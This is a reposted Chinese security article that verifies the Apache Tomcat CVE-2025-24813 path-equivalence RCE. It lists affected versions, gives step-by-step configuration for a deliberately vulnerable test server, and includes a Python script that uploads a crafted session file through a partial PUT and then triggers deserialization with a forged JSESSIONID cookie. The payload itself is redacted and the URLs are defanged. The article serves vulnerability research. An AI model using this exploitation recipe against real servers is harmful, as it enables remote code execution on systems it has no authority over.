不赶趟的 tomcat:CVE-2025-24813漏洞验证

admin 2025年3月15日23:58:18评论25 views字数 3529阅读11分45秒阅读模式

不赶趟的CVE-2025-24813漏洞验证

不赶趟的 tomcat:CVE-2025-24813漏洞验证
不赶趟的 tomcat:CVE-2025-24813漏洞验证
不赶趟的 tomcat:CVE-2025-24813漏洞验证
不赶趟的 tomcat:CVE-2025-24813漏洞验证

作者

  • Yiheng An, Jun Li, Qiang Liu, Haozhe Zhang, Qi Deng

参考资料

  • https://www.linkedin.com/posts/unit42_we-have-tested-cve-2025-24813-under-specific-activity-7306384143167168512-7-uj/
  • https://x.com/Unit42_Intel/status/1900618521303740709

原始参考资料

  • https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
  • https://nvd.nist.gov/vuln/detail/CVE-2025-24813
  • https://scrapco.de/blog/analysis-of-cve-2025-24813-apache-tomcat-path-equivalence-rce.html

受影响版本

  • Apache Tomcat 11.0.0-M1 至 11.0.2
  • Apache Tomcat 10.1.0-M1 至 10.1.34
  • Apache Tomcat 9.0.0.M1 至 9.0.98

说明

CVE-2025-24813 是最近公布的 Apache Tomcat 漏洞。Apache 是一个开源的网络服务器平台,而 Tomcat 是允许 Apache 网络服务器运行 Java servlets 的软件。

利用此漏洞包括两个步骤:

  1. 任意文件写入
  2. 不安全的反序列化

任意文件写入

当 Tomcat 中启用会话持久性时,服务器将在关闭前序列化所有活动用户会话。重新启动时,Tomcat 将反序列化这些会话,允许用户会话保持活动状态,而用户不会察觉服务器重新启动。

然而,如果在 Tomcat 中启用了 HTTP PUT 方法,通过 HTTP PUT 请求上传的文件可能会被缓存在存储序列化会话数据的同一目录中。在易受攻击的网络服务器上,攻击者可能能够将恶意文件保存到序列化会话数据目录。

不安全的反序列化

将恶意文件保存到序列化会话数据目录后,攻击者可以使用精心制作的 cookie 来"唤醒"会话。这可能会触发 Tomcat 反序列化恶意构造的会话文件,从而通过与 CVE-2025-24813 相关的反序列化漏洞进行利用。

测试漏洞利用

我们成功地在运行过时版本 Tomcat 和过时版本 Java 的 Apache 网络服务器上测试了 CVE-2025-24813 的漏洞利用。部分信息已经发布在 Lingua Diabolis

注意:以下所有 URL 均已去毒。

测试环境

  • Ubuntu 24 Server
  • Apache-Tomcat 9.0.90
    • hxxps[:]//archive.apache[.]org/dist/tomcat/tomcat-9/v9.0.90/bin/apache-tomcat-9.0.90.zip
  • Java 8.0.442-zulu
  • 一些依赖项
    • hxxps[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
    • htxxps[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.4/commons-beanutils-1.9.4.jar

建立易受攻击的 Tomcat 配置

  1. 启用 PUT

    编辑 tomcat/conf/web.xml 在 default servlet 名称部分下添加 readonly 参数并将其设置为 false。示例如下,代码的末尾处。

    <servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
    <param-name>debug</param-name>
    <param-value>0</param-value>
    </init-param>
    <init-param>
    <param-name>listings</param-name>
    <param-value>false</param-value>
    </init-param>
    <init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
    </servlet>
  2. 启用会话持久性

    编辑 /tomcat/conf/content.xml 并添加以下设置。

    <ManagerclassName="org.apache.catalina.session.PersistentManager">
    <StoreclassName="org.apache.catalina.session.FileStore" />
    </Manager>
  3. 使用以下命令,在 /tomcat/webapps/ROOT/WEB-INF/lib 创建一个目录,并在其中放置两个过时的依赖项。

    mkdir ./tomcat/webapps/ROOT/WEB-INF/lib && cd ./tomcat/webapps/ROOT/WEB-INF/lib
    wget hxxps[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
    wget hxxps[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.4/commons-beanutils-1.9.4.jar

漏洞利用

我们使用 Java Chains 创建了一个特制的会话文件,并将其发送到临时易受攻击的运行 Apache Tomcat 的网络服务器 www.wiresharkworkshop[.]online。以下是用于此目的的 Python 脚本示例。恶意会话文件名为 gopan.session,但可以更改为任何名称。

import requests
import base64
import os

TARGET_IP = "hxxp[:]//www.wiresharkworkshop[.]online:8080/"

# b64_encoded_payload = "****[information redacted]****"

output_file_path = "decoded_chain.bin"
decoded_content = base64.b64decode(b64_encoded_payload)

with open(output_file_path, "wb"as f:
    f.write(decoded_content)

put_url = f"{TARGET_IP}/gopan.session"
put_headers = {"Content-Range""bytes 0-5/100"}

with open(output_file_path, "rb"as f:
    put_response = requests.put(put_url, data=f, headers=put_headers)
os.remove(output_file_path)

get_url = f"{TARGET_IP}/"
get_headers = {"Cookie""JSESSIONID=.gopan"}
get_response = requests.get(get_url, headers=get_headers)

文章原文:https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2025-03-14-Testing-CVE-2025-24813.md

其他大佬的视频讲解:https://www.bilibili.com/video/BV14dQjYcEc5/

其他大佬的视频讲解:https://www.bilibili.com/video/BV1e7QPYBEBU

原文始发于微信公众号(独眼情报):不赶趟的 tomcat:CVE-2025-24813漏洞验证

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月15日23:58:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   不赶趟的 tomcat:CVE-2025-24813漏洞验证https://cn-sec.com/archives/3843965.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息